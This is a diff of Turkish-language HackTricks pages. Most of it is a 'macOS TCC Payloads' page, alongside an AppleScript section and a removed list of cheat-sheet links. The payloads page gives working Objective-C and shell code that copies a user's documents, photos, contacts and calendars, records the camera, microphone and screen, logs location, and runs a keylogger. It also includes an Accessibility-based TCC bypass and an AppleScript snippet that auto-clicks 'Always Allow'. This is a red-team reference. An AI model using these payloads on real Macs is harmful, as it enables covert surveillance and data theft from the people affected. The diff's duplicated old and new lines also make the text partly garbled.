* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Apple Scriptleri
|
||||
## Apple Scripts
|
||||
|
||||
Bu, **uzaktaki işlemlerle etkileşimde bulunmak için kullanılan bir betik dili**dir. Başka işlemlere bazı eylemler yapmaları için sormak oldukça kolaydır. **Kötü amaçlı yazılımlar**, diğer işlemler tarafından dışa aktarılan işlevleri kötüye kullanabilir.\
|
||||
Örneğin, bir kötü amaçlı yazılım, tarayıcıda açılan sayfalara **keyfi JS kodu enjekte** edebilir. Veya kullanıcıdan istenen bazı izinlere **otomatik olarak tıklayabilir**.
|
||||
Bu, **uzaktan süreçlerle etkileşimde bulunan** görev otomasyonu için kullanılan bir betik dilidir. **Diğer süreçlerden bazı eylemleri gerçekleştirmesini istemek** oldukça kolay hale getirir. **Kötü amaçlı yazılımlar**, bu özellikleri kullanarak diğer süreçler tarafından dışa aktarılan işlevleri kötüye kullanabilir.\
|
||||
Örneğin, bir kötü amaçlı yazılım **tarayıcıda açılan sayfalara rastgele JS kodu enjekte edebilir**. Veya **kullanıcıdan istenen bazı izinleri otomatik olarak tıklayabilir**;
|
||||
```applescript
|
||||
tell window 1 of process "SecurityAgent"
|
||||
click button "Always Allow" of group 1
|
||||
end tell
|
||||
```
|
||||
İşte bazı örnekler: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\
|
||||
Applescript kullanarak kötü amaçlı yazılım hakkında daha fazla bilgiyi [**burada**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/) bulabilirsiniz.
|
||||
Burada bazı örnekler var: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\
|
||||
Kötü amaçlı yazılımlar hakkında daha fazla bilgi için [**buradan**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/) ulaşabilirsiniz.
|
||||
|
||||
Apple scriptleri kolayca "**derlenebilir**". Bu sürümler `osadecompile` ile kolayca "**derlenebilir**".
|
||||
Apple script'leri kolayca "**derlenebilir**". Bu sürümler `osadecompile` ile kolayca "**açılabilir**".
|
||||
|
||||
Ancak, bu scriptler aynı zamanda **"Salt okunur" olarak dışa aktarılabilir** ( "Dışa aktar..." seçeneğiyle):
|
||||
Ancak, bu script'ler **"Sadece okunur"** olarak da **dışa aktarılabilir** ( "Dışa Aktar..." seçeneği aracılığıyla):
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/raw/master/.gitbook/assets/image%20(556).png" alt=""><figcaption></figcaption></figure>
|
||||
```
|
||||
file mal.scpt
|
||||
mal.scpt: AppleScript compiled
|
||||
```
|
||||
Ve bu durumda içerik, `osadecompile` ile bile decompile edilemez.
|
||||
ve bu durumda içerik `osadecompile` ile bile decompile edilemez
|
||||
|
||||
Ancak, yine de bu tür yürütülebilir dosyaları anlamak için kullanılabilecek bazı araçlar vardır, [**daha fazla bilgi için bu araştırmayı okuyun**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) aracı, [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) ile birlikte, betiğin nasıl çalıştığını anlamak için çok faydalı olacaktır.
|
||||
Ancak, bu tür yürütülebilir dosyaları anlamak için kullanılabilecek bazı araçlar hala mevcuttur, [**daha fazla bilgi için bu araştırmayı okuyun**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) aracı ve [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) aracı, scriptin nasıl çalıştığını anlamak için çok faydalı olacaktır.
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hackleme öğrenin<strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
|
||||
* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,28 @@
|
|||
# macOS TCC Payloads
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u **takip edin**.
|
||||
* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### Masaüstü
|
||||
|
||||
* **Yetkilendirme**: Yok
|
||||
* **Yetki**: Yok
|
||||
* **TCC**: kTCCServiceSystemPolicyDesktopFolder
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
`$HOME/Desktop`'i `/tmp/desktop`'a kopyala.
|
||||
|
||||
`$HOME/Desktop`'i `/tmp/desktop`'e kopyala.
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -57,8 +57,7 @@ fclose(stderr); // Close the file stream
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
`$HOME/Desktop`'i `/tmp/desktop`'a kopyalayın.
|
||||
|
||||
`$HOME/Desktop`'i `/tmp/desktop`'e kopyala.
|
||||
```bash
|
||||
cp -r "$HOME/Desktop" "/tmp/desktop"
|
||||
```
|
||||
|
@ -67,13 +66,12 @@ cp -r "$HOME/Desktop" "/tmp/desktop"
|
|||
|
||||
### Belgeler
|
||||
|
||||
* **Yetkilendirme**: Yok
|
||||
* **Yetki**: Yok
|
||||
* **TCC**: `kTCCServiceSystemPolicyDocumentsFolder`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
`$HOME/Documents`'ı `/tmp/documents` dizinine kopyala.
|
||||
|
||||
`$HOME/Documents` dizinini `/tmp/documents` dizinine kopyala.
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -108,8 +106,7 @@ fclose(stderr); // Close the file stream
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
`$HOME/`Documents klasörünü `/tmp/documents` klasörüne kopyalayın.
|
||||
|
||||
`$HOME/`Documents'ı `/tmp/documents`'a kopyala.
|
||||
```bash
|
||||
cp -r "$HOME/Documents" "/tmp/documents"
|
||||
```
|
||||
|
@ -118,15 +115,12 @@ cp -r "$HOME/Documents" "/tmp/documents"
|
|||
|
||||
### İndirmeler
|
||||
|
||||
* **Yetkilendirme**: Yok
|
||||
* **Yetki**: Yok
|
||||
* **TCC**: `kTCCServiceSystemPolicyDownloadsFolder`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="undefined" %}
|
||||
`$HOME/Downloads` klasörünü `/tmp/downloads` klasörüne kopyala.
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
`$HOME/Downloads` dizinini `/tmp/downloads` dizinine kopyala.
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -161,8 +155,7 @@ fclose(stderr); // Close the file stream
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
`$HOME/Dowloads`'ı `/tmp/downloads` dizinine kopyalayın.
|
||||
|
||||
`$HOME/Dowloads`'ı `/tmp/downloads`'a kopyala.
|
||||
```bash
|
||||
cp -r "$HOME/Downloads" "/tmp/downloads"
|
||||
```
|
||||
|
@ -171,13 +164,12 @@ cp -r "$HOME/Downloads" "/tmp/downloads"
|
|||
|
||||
### Fotoğraflar Kütüphanesi
|
||||
|
||||
* **Yetkilendirme**: `com.apple.security.personal-information.photos-library`
|
||||
* **Yetki**: `com.apple.security.personal-information.photos-library`
|
||||
* **TCC**: `kTCCServicePhotos`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
`$HOME/Pictures/Photos Library.photoslibrary`'yi `/tmp/photos` dizinine kopyalayın.
|
||||
|
||||
`$HOME/Pictures/Photos Library.photoslibrary` dosyasını `/tmp/photos` dizinine kopyalayın.
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -213,7 +205,6 @@ fclose(stderr); // Close the file stream
|
|||
|
||||
{% tab title="Shell" %}
|
||||
`$HOME/Pictures/Photos Library.photoslibrary` dosyasını `/tmp/photos` dizinine kopyalayın.
|
||||
|
||||
```bash
|
||||
cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
||||
```
|
||||
|
@ -222,13 +213,12 @@ cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
|||
|
||||
### Kişiler
|
||||
|
||||
* **Yetkilendirme**: `com.apple.security.personal-information.addressbook`
|
||||
* **Yetki**: `com.apple.security.personal-information.addressbook`
|
||||
* **TCC**: `kTCCServiceAddressBook`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
`$HOME/Library/Application Support/AddressBook`'u `/tmp/contacts` dizinine kopyalayın.
|
||||
|
||||
`$HOME/Library/Application Support/AddressBook` dizinini `/tmp/contacts` dizinine kopyalayın.
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -263,8 +253,7 @@ fclose(stderr); // Close the file stream
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
`$HOME/Library/Application Support/AddressBook`'u `/tmp/contacts` dizinine kopyalayın.
|
||||
|
||||
`$HOME/Library/Application Support/AddressBook` dizinini `/tmp/contacts` dizinine kopyalayın.
|
||||
```bash
|
||||
cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
|
||||
```
|
||||
|
@ -273,13 +262,12 @@ cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
|
|||
|
||||
### Takvim
|
||||
|
||||
* **Yetkilendirme**: `com.apple.security.personal-information.calendars`
|
||||
* **Yetki**: `com.apple.security.personal-information.calendars`
|
||||
* **TCC**: `kTCCServiceCalendar`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjectiveC" %}
|
||||
`$HOME/Library/Calendars`'ı `/tmp/calendars` dizinine kopyalayın.
|
||||
|
||||
`$HOME/Library/Calendars`'ı `/tmp/calendars`'a kopyalayın.
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -314,16 +302,21 @@ fclose(stderr); // Close the file stream
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
`$HOME/Library/Calendars`'ı `/tmp/calendars` dizinine kopyalayın.
|
||||
|
||||
`$HOME/Library/Calendars`'ı `/tmp/calendars`'a kopyala.
|
||||
```bash
|
||||
cp -r "$HOME/Library/Calendars" "/tmp/calendars"
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Kamera
|
||||
|
||||
* **Yetki**: `com.apple.security.device.camera`
|
||||
* **TCC**: `kTCCServiceCamera`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC - Kayıt" %}
|
||||
3 saniyelik bir video kaydedin ve **`/tmp/recording.mov`** dizinine kaydedin.
|
||||
|
||||
{% tab title="ObjetiveC - Kaydet" %}
|
||||
3 saniyelik bir video kaydedin ve **`/tmp/recording.mov`** konumuna kaydedin.
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -402,8 +395,7 @@ fclose(stderr); // Close the file stream
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="ObjectiveC - Kontrol" %}
|
||||
Kameraya erişimi olan programı kontrol edin.
|
||||
|
||||
Programın kameraya erişimi olup olmadığını kontrol edin.
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -437,24 +429,20 @@ fclose(stderr); // Close the file stream
|
|||
|
||||
{% tab title="Shell" %}
|
||||
Kamerayla fotoğraf çekin
|
||||
|
||||
```bash
|
||||
ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### Mikrofon
|
||||
### Mikrofon
|
||||
|
||||
* **Yetkilendirme**: **com.apple.security.device.audio-input**
|
||||
* **Yetki**: **com.apple.security.device.audio-input**
|
||||
* **TCC**: `kTCCServiceMicrophone`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="undefined" %}
|
||||
5 saniye ses kaydedin ve `/tmp/recording.m4a`'ya kaydedin.
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="ObjetiveC - Kaydet" %}
|
||||
5 saniye ses kaydedin ve `/tmp/recording.m4a` dosyasına kaydedin
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -553,11 +541,8 @@ fclose(stderr); // Close the file stream
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
Uygulamanın mikrofona erişimi olup olmadığını kontrol edin.
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="ObjectiveC - Kontrol" %}
|
||||
Uygulamanın mikrofon erişimi olup olmadığını kontrol edin.
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -588,8 +573,7 @@ static void telegram(int argc, const char **argv) {
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
5 saniyelik bir ses kaydı yapın ve `/tmp/recording.wav` dosyasına kaydedin.
|
||||
|
||||
5 saniyelik bir ses kaydedin ve `/tmp/recording.wav` dosyasına kaydedin.
|
||||
```bash
|
||||
# Check the microphones
|
||||
ffmpeg -f avfoundation -list_devices true -i ""
|
||||
|
@ -599,19 +583,18 @@ ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### Konum
|
||||
### Konum
|
||||
|
||||
{% hint style="success" %}
|
||||
Bir uygulamanın konumu alabilmesi için, **Gizlilik ve Güvenlik** bölümünden **Konum Hizmetleri**nin etkinleştirilmiş olması gerekmektedir. Aksi takdirde, konuma erişilemez.
|
||||
Bir uygulamanın konumu alabilmesi için, **Konum Servisleri** (Gizlilik ve Güvenlikten) **etkin olmalıdır,** aksi takdirde erişemez.
|
||||
{% endhint %}
|
||||
|
||||
* **Yetkilendirme**: `com.apple.security.personal-information.location`
|
||||
* **TCC**: `/var/db/locationd/clients.plist` dosyasında verilmiştir
|
||||
* **Yetki**: `com.apple.security.personal-information.location`
|
||||
* **TCC**: `/var/db/locationd/clients.plist` içinde verildi
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjectiveC" %}
|
||||
Konumu `/tmp/logs.txt` dosyasına yazın
|
||||
|
||||
Konumu `/tmp/logs.txt` içine yazın
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -661,23 +644,21 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
Konuma erişim sağla
|
||||
|
||||
Konuma erişim elde et
|
||||
```
|
||||
???
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### Ekran Kaydı
|
||||
### Ekran Kaydı
|
||||
|
||||
* **Yetkilendirme**: Yok
|
||||
* **Yetki**: Yok
|
||||
* **TCC**: `kTCCServiceScreenCapture`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjectiveC" %}
|
||||
Ana ekranı `/tmp/screen.mov` dosyasına 5 saniye kaydedin.
|
||||
|
||||
Ana ekranı 5 saniye boyunca `/tmp/screen.mov` dosyasına kaydedin.
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -734,21 +715,22 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
Ana ekranı 5 saniye boyunca kaydet.
|
||||
|
||||
Ana ekranı 5 saniye boyunca kaydedin.
|
||||
```bash
|
||||
screencapture -V 5 /tmp/screen.mov
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### Erişilebilirlik
|
||||
### Erişilebilirlik
|
||||
|
||||
* **Yetkilendirme**: Yok
|
||||
* **Yetki**: Yok
|
||||
* **TCC**: `kTCCServiceAccessibility`
|
||||
|
||||
Finder'ın enter tuşuna basarak kontrolünü kabul etmek ve bu şekilde TCC'yi atlamak için TCC ayrıcalığını kullanın.
|
||||
Finder'ın kontrolünü kabul etmek için TCC ayrıcalığını kullanın ve bu şekilde TCC'yi atlayın.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="TCC'yi Kabul Et" %}
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <ApplicationServices/ApplicationServices.h>
|
||||
|
@ -802,8 +784,7 @@ return 0;
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Keylogger" %}
|
||||
Basılan tuşları **`/tmp/keystrokes.txt`** dosyasında saklayın.
|
||||
|
||||
Basılan tuşları **`/tmp/keystrokes.txt`** dosyasına kaydedin.
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <ApplicationServices/ApplicationServices.h>
|
||||
|
@ -911,19 +892,20 @@ return 0;
|
|||
{% endtabs %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Erişilebilirlik çok güçlü bir izindir**, başka yollarla da istismar edebilirsiniz, örneğin Sistem Olaylarına çağrı yapmadan sadece ondan **tuş vuruşu saldırısı** yapabilirsiniz.
|
||||
**Erişim, çok güçlü bir izindir**, bunu başka şekillerde kötüye kullanabilirsiniz, örneğin **tuş vuruşu saldırısını** sadece bununla gerçekleştirebilirsiniz, Sistem Olaylarını çağırmanıza gerek kalmaz.
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin<strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
|
||||
* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,75 +1,14 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
|
||||
|
||||
{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %}
|
||||
|
||||
{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
|
||||
|
||||
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
|
||||
|
||||
{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
|
||||
|
||||
{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %}
|
||||
|
||||
{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %}
|
||||
|
||||
{% embed url="https://anhtai.me/oscp-fun-guide/" %}
|
||||
|
||||
{% embed url="https://www.thehacker.recipes/" %}
|
||||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %}
|
||||
|
||||
{% embed url="https://gtfobins.github.io/" %}
|
||||
|
||||
{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %}
|
||||
|
||||
{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %}
|
||||
|
||||
{% embed url="https://hideandsec.sh/" %}
|
||||
|
||||
{% embed url="https://cheatsheet.haax.fr/" %}
|
||||
|
||||
{% embed url="https://infosecwriteups.com/" %}
|
||||
|
||||
{% embed url="https://www.exploit-db.com/" %}
|
||||
|
||||
{% embed url="https://wadcoms.github.io/" %}
|
||||
|
||||
{% embed url="https://lolbas-project.github.io" %}
|
||||
|
||||
{% embed url="https://pentestbook.six2dez.com/" %}
|
||||
|
||||
{% embed url="https://www.hackingarticles.in/" %}
|
||||
|
||||
{% embed url="https://pentestlab.blog/" %}
|
||||
|
||||
{% embed url="https://ippsec.rocks/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
